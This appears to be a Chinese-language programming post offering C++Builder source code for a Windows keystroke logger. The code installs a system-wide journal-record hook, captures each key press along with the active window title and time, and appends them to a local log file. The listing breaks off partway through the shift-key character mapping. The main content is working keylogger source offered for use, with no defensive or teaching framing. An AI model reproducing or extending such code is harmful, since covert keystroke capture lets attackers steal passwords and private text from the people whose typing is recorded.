记录键盘的动作和敲击按键时的时间

日志钩子代码如下，您慢慢品味吧：　


//-----------.cpp文档
//---------------------------------------------------------------------------

#include <vcl.h>
#include <stdio.h>
#pragma hdrstop

#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;

HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);

//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
int i;
HWND hFocus;//保存当前活动窗口句柄
char szTitle[256];//当前窗口名称
char szTime[128];//当前的日期和时间
FILE* stream=fopen("h:\\usr\\logfile.txt","a ");
if(pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值

char ch;
char str[10];
hFocus=GetActiveWindow();

if(g_hLastFocus!=hFocus)
{
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;

strcpy(szTime,DateTimeToStr(Now()).c_str());

fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);

fprintf(stream,"%c%c",32,32);
}

int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);

bool bShift=(iShift&KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital&1)==1;
bool bNumLock=(iNumLock&1)==1;
/*
if(vKey==9) //TAB
fprintf(stream,"%c",'\t');
if(vKey==13) //回车键
fprintf(stream,"%c",'\n');
*/
if(vKey>=48 && vKey<=57) //数字键0-9
{
if(!bShift)
fprintf(stream,"%c",vKey);
else
{
switch(vKey)
{
case 49:
ch='!';
break;
case 50:
ch='@';
break;
case 51:
ch='#';
break;
case 52:
ch='$';
break;
case 53:
ch='%';
break;
case 54:
ch='^';
break;
case 55:
ch='&';
break;

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